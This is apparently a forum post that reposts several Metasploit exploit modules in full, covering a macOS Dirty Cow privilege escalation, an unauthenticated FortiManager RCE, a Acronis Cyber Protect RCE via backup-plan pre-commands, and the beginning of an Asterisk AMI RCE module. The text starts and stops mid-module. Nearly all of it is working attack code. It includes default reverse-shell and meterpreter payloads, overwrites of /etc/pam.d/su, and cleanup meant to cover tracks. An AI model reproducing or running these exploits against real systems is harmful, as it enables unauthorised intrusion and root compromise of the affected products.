    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded, { jwt: @token })
    when :linux_dropper
      execute_cmdstager({ jwt: @token })
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end
  end
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
macOS Dirty Cow Arbitrary File Write Local Privilege Escalation

Код:
class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation',
        'Description' => %q{
          An app may be able to execute arbitrary code with kernel privileges
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ian Beer', # discovery
          'Zhuowei Zhang', # proof of concept
          'timwr' # metasploit integration
        ],
        'References' => [
          ['CVE', '2022-46689'],
          ['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'],
          ['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'],
        ],
        'Platform' => 'osx',
        'Arch' => ARCH_X64,
        'SessionTypes' => ['shell', 'meterpreter'],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', {} ],
        ],
        'DisclosureDate' => '2022-12-17',
        'Notes' => {
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        }
      )
    )
    register_advanced_options [
      OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end
 
  def check
    version = Rex::Version.new(get_system_version)
    if version > Rex::Version.new('13.0.1')
      CheckCode::Safe
    elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1')
      CheckCode::Safe
    elsif version < Rex::Version.new('10.15')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end
 
  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end
 
    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end
 
    payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    upload_and_chmodx payload_file, binary_payload
    register_file_for_cleanup payload_file
 
    target_file = datastore['TargetFile']
    current_content = read_file(target_file)
    backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    unless write_file(backup_file, current_content)
      fail_with Failure::BadConfig, "#{backup_file} is not writable"
    end
    register_file_for_cleanup backup_file
 
    replace_content = current_content.sub('rootok', 'permit')
 
    replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    unless write_file(replace_file, replace_content)
      fail_with Failure::BadConfig, "#{replace_file} is not writable"
    end
    register_file_for_cleanup replace_file
 
    exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    exploit_exe = exploit_data 'CVE-2022-46689', 'exploit'
    upload_and_chmodx exploit_file, exploit_exe
    register_file_for_cleanup exploit_file
 
    exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}"
    print_status("Executing exploit '#{exploit_cmd}'")
    result = cmd_exec(exploit_cmd)
    print_status("Exploit result:\n#{result}")
 
    su_cmd = "echo '#{payload_file} & disown' | su"
    print_status("Running cmd:\n#{su_cmd}")
    result = cmd_exec(su_cmd)
    unless result.blank?
      print_status("Command output:\n#{result}")
    end
 
    exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}"
    print_status("Executing exploit (restoring) '#{exploit_cmd}'")
    result = cmd_exec(exploit_cmd)
    print_status("Exploit result:\n#{result}")
  end
 
end
 

CVE-2024-47575 FortiManager metasploit​

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiManager Unauthenticated RCE',
        'Description' => %q{
          This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager
          Cloud devices to achieve unauthenticated RCE with root privileges.

          To successfully connect to a target FortiManager device, you must acquire a valid x509 certificate
          from a Fortinet device.

          The vulnerable FortiManager versions are:
          * 7.6.0
          * 7.4.0 through 7.4.4
          * 7.2.0 through 7.2.7
          * 7.0.0 through 7.0.12
          * 6.4.0 through 6.4.14
          * 6.2.0 through 6.2.12

          The vulnerable FortiManager Cloud versions are:
          * 7.4.1 through 7.4.4
          * 7.2.1 through 7.2.7
          * 7.0.1 through 7.0.12
          * 6.4 (all versions).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2024-47575'],
          ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'],
          ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'],
          ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423']
        ],
        'DisclosureDate' => '2024-10-23',
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD],
        'Privileged' => true, # Code execution as 'root'
        'DefaultOptions' => {
          'RPORT' => 541,
          'SSL' => true,
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
          'FETCH_WRITABLE_DIR' => '/tmp',
          'FETCH_COMMAND' => 'CURL'
        },
        'Targets' => [ [ 'Default', {} ] ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('SSLClientCert', [true, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN', nil]),
        OptString.new('SSLClientKey', [true, 'A file path to the corresponding private key for the SSLClientCert.', nil]),
        OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the SSLClientCert.', nil]),
        OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.', nil])
      ]
    )
  end

  def check
    s = make_socket

    peer_cert = OpenSSL::X509::Certificate.new(s.peer_cert)

    s.close

    organization = nil
    common_name = nil

    peer_cert.subject.to_a.each do |item|
      if item[0] == 'O'
        organization = item[1]
      elsif item[0] == 'CN'
        common_name = item[1]
      end
    end

    # Detect that the target is a Fortinet FortiManager, by instepcting the certificate the server is using.
    # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial
    # number identifier.
    return CheckCode::Detected if organization == 'Fortinet' && common_name&.start_with?('FMG-')

    CheckCode::Unknown
  end

  def exploit
    client_cert_raw = File.read(datastore['SSLClientCert'])

    client_cert = OpenSSL::X509::Certificate.new(client_cert_raw)

    common_name = nil

    client_cert.subject.to_a.each do |item|
      if item[0] == 'CN'
        common_name = item[1]
        break
      end
    end

    print_status("Client certificate common name: #{common_name}")

    serial_number = 'FMG-VMTM24011111'
    platform = 'FortiManager-VM64'

    if common_name.start_with?('FMG-')
      serial_number = common_name
      platform = 'FortiManager-VM64'
    elsif common_name.start_with?('FG')
      serial_number = common_name
      platform = 'FortiGate-VM64'
    else
      print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.')
    end

    serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber']
    platform = datastore['ClientPlatform'] if datastore['ClientPlatform']

    print_status("Using client serial number: #{serial_number}")
    print_status("Using client platform: #{platform}")

    print_status('Connecting...')

    s = make_socket

    fail_with(Failure::UnexpectedReply, 'Connection failed.') unless s

    print_status('Registering device...')

    req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"

    resp1 = send_packet(s, req1)

    unless resp1.include? 'reply 200'
      fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.')
    end

    print_status('Creating channel...')

    req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00"

    resp2 = send_packet(s, req2)

    unless resp2.include? 'action=ack'
      fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.')
    end

    localid = resp2.match(/localid=(\d+)/)
    unless localid
      fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.')
    end

    print_status('Triggering...')

    req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n"

    send_packet(s, req3, read: false)

    # A short delay, as we send our payload over the chanel, we want to keep this channel open long enough for the
    # server-side to process it and execute the payload, before we tear down the socket.
    Rex::ThreadSafe.sleep(1)

    s.close
  end

  def make_socket
    Rex::Socket::Tcp.create(
      'PeerHost' => datastore['RHOST'],
      'PeerPort' => datastore['RPORT'],
      'SSL' => true,
      'SSLVerifyMode' => 'NONE',
      'SSLClientCert' => datastore['SSLClientCert'],
      'SSLClientKey' => datastore['SSLClientKey'],
      'Context' =>
        {
          'Msf' => framework,
          'MsfExploit' => self
        }
    )
  end

  def send_packet(s, data, read: true)
    packet = [0x36E01100, data.length + 8].pack('NN')

    packet += data

    s.write(packet)

    return unless read

    _, len = s.read(8).unpack('NN')

    s.read(len - 8)
  end
end
 

Acronis Cyber Protect/Backup Remote Code Execution Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HTTP::AcronisCyber
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Acronis Cyber Protect/Backup remote code execution',
        'Description' => %q{
          Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
          compute, storage and application resources. Businesses and Service Providers are using it
          to protect and backup all IT assets in their IT environment.
          The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous
          registration of new protect/backup agents on new endpoints. This API endpoint also
          generates bearer tokens which the agent then uses to authenticate to the appliance.
          As the management web console is running on the same port as the API for the agents, this
          bearer token is also valid for any actions on the web console. This allows an attacker
          with network access to the appliance to start the registration of a new agent, retrieve a
          bearer token that provides admin access to the available functions in the web console.
 
          The web console contains multiple possibilities to execute arbitrary commands on both the
          agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation
          job on the agent of the appliance). These options can easily be set with the provided bearer
          token, which leads to a complete compromise of all agents and the appliance itself.
 
          You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
          to collect target info for exploitation in this module. Or just run this module standalone and
          it will try to exploit the first online endpoint matching your target and payload settings
          configured at the module.
 
          Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
          Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
          'Sandro Tolksdorf of usd AG.'             # discovery
        ],
        'References' => [
          ['CVE', '2022-3405'],
          ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'],
          ['URL', 'https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405']
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'windows'],
        'Privileged' => true,
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['windows'],
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-11-08',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 9877
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']),
      OptString.new('HOSTID', [false, 'hostId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']),
      OptString.new('PARENTID', [false, 'parentId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']),
      OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']),
      OptEnum.new('OUTPUT', [true, 'Output format to use', 'none', ['none', 'json']])
    ])
  end
 
  # create and import backup plan data with payload
  # returns nil if not successful
  def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2)
    id = Faker::Internet.uuid
    name = Rex::Text.rand_text_alphanumeric(5..8).downcase
 
    # we need to split the payload in the command and the arguments
    # otherwise command execution does not work for windows targets
    cmd_line = payload.split(' ', 2)
 
    case target['Type']
    when :unix_cmd
      source_dir = '/home'
      target_dir = '/tmp'
    when :win_cmd
      source_dir = 'c:/users/public'
      target_dir = 'c:/windows/temp'
    else
      # probably macOS or other unix version
      source_dir = '/home'
      target_dir = '/tmp'
    end
 
    plan_data = {
      allowedActions: ['rename', 'revoke', 'runNow'],
      allowedBackupTypes: ['full', 'incremental'],
      backupType: 'files',
      bootableMediaPlan: false,
      editable: true,
      enabled: true,
      id: id.to_s,
      locations: { data: [{ displayName: target_dir.to_s, id: "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"#{target_dir}\"]]", type: 'local_folder' }] },
      name: name.to_s,
      options: {
        backupOptions: {
          prePostCommands: {
            postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' },
            preCommands: {
              command: cmd_line[0].to_s,
              commandArguments: cmd_line[1].to_s,
              continueOnCommandError: true,
              waitCommandComplete: false,
              workingDirectory: ''
            },
            useDefaultCommands: false,
            usePostCommands: false,
            usePreCommands: true
          },
          prePostDataCommands: {
            postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' },
            preCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' },
            useDefaultCommands: true,
            usePostCommands: false,
            usePreCommands: false
          },
          scheduling: { interval: { type: 'minutes', value: 30 }, type: 'distributeBackupTimeOptions' },
          simultaneousBackups: { simultaneousBackupsNumber: nil },
          snapshot: {
            quiesce: true,
            retryConfiguration: {
              reattemptOnError: true,
              reattemptTimeFrame: { type: 'minutes', value: 5 },
              reattemptsCount: 3,
              silentMode: false
            }
          },
          tapes: { devices: [], overwriteDataOnTape: false, preserveTapesPosition: true, tapeSet: '' },
          taskExecutionWindow: {},
          taskFailureHandling: { periodBetweenRetryAttempts: { type: 'hours', value: 1 }, retryAttempts: 1, retryFailedTask: false },
          taskStartConditions: { runAnyway: false, runAnywayAfterPeriod: { type: 'hours', value: 1 }, waitUntilMet: true },
          validateBackup: false,
          volumes: {
            forceVssFullBackup: false,
            useMultiVolumeSnapshot: true,
            useNativeVssProvider: false,
            useVolumeShadowService: true,
            useVssFlags: ['definedRule']
          },
          vssFlags: { availableVssModes: ['auto', 'system'], enabled: true, value: 'auto', vssFullBackup: false },
          windowsEventLog: { isGlobalConfigurationUsed: true, traceLevel: 'warning', traceState: false },
          withHWSnapshot: false
        },
        specificParameters: { inclusionRules: { rules: [ source_dir.to_s ], rulesType: 'centralizedFiles' }, type: '' }
      },
      origin: 'centralized',
      route: {
        archiveSlicing: nil,
        stages: [
          {
            archiveName: '[Machine Name]-[Plan ID]-[Unique ID]A',
            cleanUpIfNoSpace: false,
            cleanup: {
              time: [
                { backupSet: 'daily', period: { type: 'days', value: 7 } },
                { backupSet: 'weekly', period: { type: 'weeks', value: 4 } }
              ],
              type: 'cleanupByTime'
            },
            destinationKind: 'local_folder',
            locationScript: nil,
            locationUri: target_dir.to_s,
            locationUriType: 'local',
            maintenanceWindow: nil,
            postAction: {
              convertToVMParameters: {
                agentIds: [],
                cpuCount: nil,
                diskAllocationType: 'thick',
                displayedName: nil,
                enabled: false,
                exactMemorySize: false,
                infrastructureType: '',
                memorySize: nil,
                networkAdapters: [],
                virtualMachineName: '',
                virtualServerHost: nil,
                virtualServerHostKey: '[["ItemType",""],["LocalID",""]]',
                virtualServerStorage: ''
              }
            },
            rules: [
              {
                afterBackup: true,
                backupCountUpperLimit: 0,
                backupSetIndex: 'daily',
                backupUpperLimitSize: 0,
                beforeBackup: false,
                consolidateBackup: false,
                deleteOlderThan: { type: 'days', value: 7 },
                deleteYongerThan: { type: 'days', value: 0 },
                onSchedule: false,
                retentionSchedule: {
                  alarms: [],
                  conditions: [],
                  maxDelayPeriod: -1,
                  maxRetries: 0,
                  preventFromSleeping: true,
                  retryPeriod: 0,
                  type: 'none',
                  unique: false,
                  waitActionType: 'run'
                },
                stagingOperationType: 'justCleanup'
              },
              {
                afterBackup: true,
                backupCountUpperLimit: 0,
                backupSetIndex: 'weekly',
                backupUpperLimitSize: 0,
                beforeBackup: false,
                consolidateBackup: false,
                deleteOlderThan: { type: 'weeks', value: 4 },
                deleteYongerThan: { type: 'days', value: 0 },
                onSchedule: false,
                retentionSchedule: {
                  alarms: [],
                  conditions: [],
                  maxDelayPeriod: -1,
                  maxRetries: 0,
                  preventFromSleeping: true,
                  retryPeriod: 0,
                  type: 'none',
                  unique: false,
                  waitActionType: 'run'
                },
                stagingOperationType: 'justCleanup'
              }
            ],
            useProtectionPlanCredentials: true,
            validationRules: nil
          }
        ]
      },
      scheme: {
        parameters: {
          backupSchedule: {
            kind: { dataType: 'binary', type: 'full' },
            schedule: {
              alarms: [
                {
                  beginDate: { day: 0, month: 0, year: 0 },
                  calendar: { days: 65, type: 'weekly', weekInterval: 0 },
                  distribution: { enabled: false, interval: 0, method: 0 },
                  endDate: { day: 0, month: 0, year: 0 },
                  machineWake: false,
                  repeatAtDay: { endTime: { hour: 0, minute: 0, second: 0 }, timeInterval: 0 },
                  runLater: false,
                  skipOccurrences: 0,
                  startTime: { hour: 23, minute: 0, second: 0 },
                  startTimeDelay: 0,
                  type: 'time',
                  utcBasedSettings: false
                }
              ],
              conditions: [],
              maxDelayPeriod: -1,
              maxRetries: 0,
              preventFromSleeping: true,
              retryPeriod: 0,
              type: 'daily',
              unique: false,
              waitActionType: 'run'
            }
          },
          backupTypeRule: 'byScheme'
        },
        schedule: {
          daysOfWeek: ['monday', 'tuesday', 'wednesday', 'thursday', 'friday'],
          effectiveDates: { from: { day: 0, month: 0, year: 0 }, to: { day: 0, month: 0, year: 0 } },
          machineWake: false,
          preventFromSleeping: true,
          runLater: false,
          startAt: { hour: 23, minute: 0, second: 0 },
          type: 'daily'
        },
        type: 'weekly_full_daily_inc'
      },
      sources: { data: [{ displayName: name.to_s, hostID: hostid.to_s, id: key.to_s }] },
      target: { inclusions: [{ key: key.to_s, resource_key: key.to_s }] },
      tenant: { id: parentid.to_s, locator: "/#{parentid}/", name: parentid.to_s, parentID: '' }
    }.to_json
 
    form_data = Rex::MIME::Message.new
    form_data.add_part(plan_data, 'application/json', nil, "form-data; name=\"planfile\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.json\"")
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'import'),
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Authorization' => "bearer #{access_token2}"
      },
      'data' => form_data.to_s,
      'vars_get' => {
        'CreateDraftOnError' => true
      }
    })
    return unless res&.code == 200 && res.body.include?('planId') && res.body.include?('importedPlans')
 
    # parse json response and return planId
    res_json = res.get_json_document
    return if res_json.blank?
 
    res_json.dig('data', 'importedPlans', 0, 'planId')
  end
 
  # remove the backup plan on the target including the payload
  # returns true if successful
  def remove_backup_plan(access_token2)
    post_data = {
      planIds: [@planid.to_s]
    }.to_json
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plans_operations', 'remove_plans'),
      'ctype' => 'application/json',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Authorization' => "bearer #{access_token2}"
      },
      'data' => post_data.to_s
    })
    return false unless res&.code == 200
 
    true
  end
 
  # execute the backup plan on the target including the payload
  # returns true if successful
  def execute_command(access_token2, _opts = {})
    post_data = {
      planId: @planid.to_s
    }.to_json
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'run'),
      'ctype' => 'application/json',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Authorization' => "bearer #{access_token2}"
      },
      'data' => post_data.to_s
    })
    return false unless res&.code == 200
 
    true
  end
 
  def cleanup
    # try to remove imported backup plan with payload to cover our tracks
    # but do not run during the check phase
    super
    unless @check_running
      if remove_backup_plan(@access_token2)
        print_good('Backup plan is successful removed.')
      else
        print_warning('Backup plan could not be removed. Try to clean it manually.')
      end
    end
  end
 
  def check
    @check_running = true
    # initial check on api access
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'meta'),
      'ctype' => 'application/json'
    })
    return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method')
 
    # get first access token
    print_status('Retrieve the first access token.')
    @access_token1 = get_access_token1
    vprint_status("Extracted first access token: #{@access_token1}")
    return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil?
 
    # register a dummy agent
    client_id = Faker::Internet.uuid
    print_status('Register a dummy backup agent.')
    client_secret = dummy_agent_registration(client_id, @access_token1)
    return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil?
 
    print_status('Dummy backup agent registration is successful.')
 
    # get second access_token
    print_status('Retrieve the second access token.')
    @access_token2 = get_access_token2(client_id, client_secret)
    vprint_status("Extracted second access token: #{@access_token2}")
    return Exploit::CheckCode::Unknown('Retrieval of the second  access token failed.') if @access_token2.nil?
 
    # get version info
    version = get_version_info(@access_token2)
    return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil?
 
    release = version.match(/(.+)\.(\d+)/)
    case release[1]
    when '15.0'
      if Rex::Version.new(version) < Rex::Version.new('15.0.29486')
        return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}")
      else
        return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
      end
    when '12.5'
      if Rex::Version.new(version) < Rex::Version.new('12.5.16545')
        return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}")
      else
        return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
      end
    else
      Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
    end
  end
 
  def exploit
    @check_running = false
    # check if @access_token2 is already set as part of autocheck option
    if @access_token2.nil?
      # get first access token
      print_status('Retrieve the first access token.')
      @access_token1 = get_access_token1
      vprint_status("Extracted first access token: #{@access_token1}")
      fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil?
 
      # register a dummy agent
      client_id = Faker::Internet.uuid
      print_status('Register a dummy backup agent.')
      client_secret = dummy_agent_registration(client_id, @access_token1)
      fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil?
      print_status('Dummy backup agent registration is successful.')
 
      # get second access_token
      print_status('Retrieve the second access token.')
      @access_token2 = get_access_token2(client_id, client_secret)
      vprint_status("Extracted second access token: #{@access_token2}")
      fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil?
    end
 
    # if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting
    hostid = datastore['HOSTID']
    parentid = datastore['PARENTID']
    key = datastore['KEY']
    if hostid.blank? || parentid.blank? || key.blank?
      print_status('Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.')
      res_json = get_machine_info(@access_token2)
      fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil?
 
      # find first online target matching the module target settings
      res_json['data'].each do |item|
        next unless item['type'] == 'machine' && (item['osType'] == 'linux' && target['Type'] == :unix_cmd) || (item['osType'] == 'windows' && target['Type'] == :win_cmd) && item['online']
 
        print_status("Found online target matching your target setting #{target.name}.")
        print_good("hostId: #{item['hostId']}") unless item['hostId'].nil?
        print_good("parentId: #{item['parentId']}") unless item['parentId'].nil?
        print_good("key: #{item['id']}") unless item['id'].nil?
        print_status("type: #{item['type']}") unless item['type'].nil?
        print_status("hostname: #{item['title']}") unless item['title'].nil?
        print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil?
        print_status("OS: #{item['os']}") unless item['os'].nil?
        print_status("ARCH: #{item['osType']}") unless item['osType'].nil?
        print_status("ONLINE: #{item['online']}") unless item['online'].nil?
        hostid = item['hostId']
        parentid = item['parentId']
        key = item['id']
        break
      end
    end
    fail_with(Failure::NotFound, "No target available matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank?
 
    # create and import backup plan with payload
    print_status("Import backup plan with payload for target with hostId: #{hostid}.")
    @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded, @access_token2)
    fail_with(Failure::BadConfig, 'Importing backup plan with payload failed.') if @planid.nil?
 
    print_status("Executing #{target.name} with payload #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(@access_token2)
    end
  end
end
 

Asterisk AMI Originate Authenticated Remote Code Execution Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking
  include Msf::Exploit::Remote::Asterisk
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Asterisk AMI Originate Authenticated RCE',
        'Description' => %q{
          On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
          versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change
          all configuration files in the '/etc/asterisk/' directory. Writing a new extension
          can be created which performs a system command to achieve RCE as the asterisk service
          user (typically asterisk).
          Default parking lot in FreePBX is called "Default lot" on the website interface,
          however its actually 'parkedcalls'.
          Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.
        },
        'Author' => [
          'Brendan Coles <bcoles[at]gmail.com>', # lots of AMI command stuff
          'h00die', # msf module
          'NielsGaljaard' # discovery
        ],
        'References' => [
          ['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'],
          ['CVE', '2024-42365']
        ],
        'Platform' => 'unix',
        # leaving this for future travelers. I was still not getting 100% payload compatibility
        # so there seems to still be another character or two bad, but b64 fixed it.
        # 'Payload' => {
        #  # ; is a comment in the extensions.conf file
        #  'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout
        # },
 
        # 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long)
        # `echo "" | base64 -d | sh` == 19 characters
        # chatGPT says 908 b64 encoded characters makes 681 pre-encoding.
        'Payload' => {
          'Space' => 681
        },
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_command
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2024-08-08',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultTarget' => 0,
        'License' => MSF_LICENSE
      )
    )
    register_options [
      OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']),
      OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']),
      OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]),
    ]
    register_advanced_options [
      OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]),
    ]
  end
 
  def conn?
    vprint_status 'Connecting...'
 
    connect
    banner = sock.get_once
 
    unless banner =~ %r{Asterisk Call Manager/([\d.]+)}
      print_bad('Asterisk Call Manager does not appear to be running')
      return false
    end
 
    print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}"
 
    unless login(datastore['USERNAME'], datastore['PASSWORD'])
      print_bad('Authentication failed')
      return false
    end
 
    print_good 'Authenticated successfully'
    true
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
    print_error e.message
    false
  end
 
  def check
    # why don't we check the version numbers?
    # we're connecting to Asterisk Call Manager, which seems to be a sub component
    # of asterisk and therefore the version numbers don't line up. For instance
    # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)
    # uses Asterisk Call Manager version 8.0.2.
